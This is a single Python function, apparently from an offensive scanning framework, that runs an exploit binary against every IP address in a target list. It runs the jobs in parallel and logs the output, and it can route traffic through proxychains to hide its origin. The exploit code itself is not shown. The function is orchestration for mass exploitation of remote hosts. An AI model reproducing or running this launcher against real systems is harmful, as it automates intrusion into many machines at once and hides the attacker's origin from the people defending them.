def scanner(scanner_args): ''' Execute exploit against given ip list ''' # looks ugly, but since it works well, im not planning a rewrite try: work_path, exec_path = scanner_args.work_path, scanner_args.exec_path custom_args, jobs = scanner_args.custom_args, scanner_args.jobs except BaseException: return if SESSION.use_proxy: e_args = [ 'proxychains4', '-q', '-f', SESSION.proxy_conf, './' + exec_path ] else: e_args = ['./' + exec_path] # add custom arguments for different exploits e_args += custom_args # the last argument is target host e_args += ['-t'] try: target_list = open(SESSION.ip_list) except BaseException as exc: console.print_error('[-] Error occured: {}\n'.format(exc)) debug_except() return try: os.chdir('./exploits/' + work_path) except FileNotFoundError: console.print_error("[-] Can't chdir to " + work_path) debug_except() console.print_warning('\n[!] DEBUG: ' + str(e_args) + '\nWorking in ' + os.getcwd()) # you might want to cancel the scan to correct some errors if input_check('[?] Proceed? [y/n] ', choices=['y', 'n']) == 'n': return # save stdout to logfile try: logfile = open(SESSION.logfile, "a+") except FileNotFoundError: console.print_error("[-] Log file not found") # needed for the loop procs = [] pids = [] # collects all pids, check if empty when finishing count = len(procs) # display help for viewing logs print(colors.CYAN + "[*] Use `tail -f {}` to view logs\n\n".format(SESSION.logfile)) # use progress bar with open(SESSION.ip_list) as iplistf: total = len([0 for _ in iplistf]) iplistf.close() pbar = tqdm.tqdm(total=total, ncols=80, desc="[*] Processing targets") for line in target_list: target_ip = line.strip() # mark this loop as done count = len(procs) try: # start and display current process e_args += [target_ip] proc = subprocess.Popen(e_args, stdout=logfile, stderr=logfile) procs.append(proc) pids.append(proc.pid) pbar.set_description(desc="[*] Processing {}".format(target_ip)) # continue to next target e_args.remove(target_ip) # process pool if count == jobs: for item in procs: if psutil.pid_exists(item.pid): timer_proc = Process(target=proc_timer, args=(item, )) timer_proc.start() else: pids.remove(item.pid) procs = [] except (EOFError, KeyboardInterrupt, SystemExit): # killall running processes check_kill_process(exec_path) logfile.close() pbar.close() console.print_error("[-] Task aborted") os.chdir(SESSION.init_dir) return except BaseException as exc: console.print_error("[-] Exception: {}\n".format(str(exc))) logfile.write("[-] Exception: " + str(exc) + "\n") finally: # check if any pids are done try: for pid in pids: if not psutil.pid_exists(pid): pids.remove(pid) pbar.update(1) except BaseException: pass # make sure all processes are done if pids: time.sleep(10) # kill everything thats going to be a zombie, close logfile, exit progress bar, and print done flag check_kill_process(exec_path) logfile.close() pbar.close() os.chdir(SESSION.init_dir) console.print_success('\n[+] All done!\n')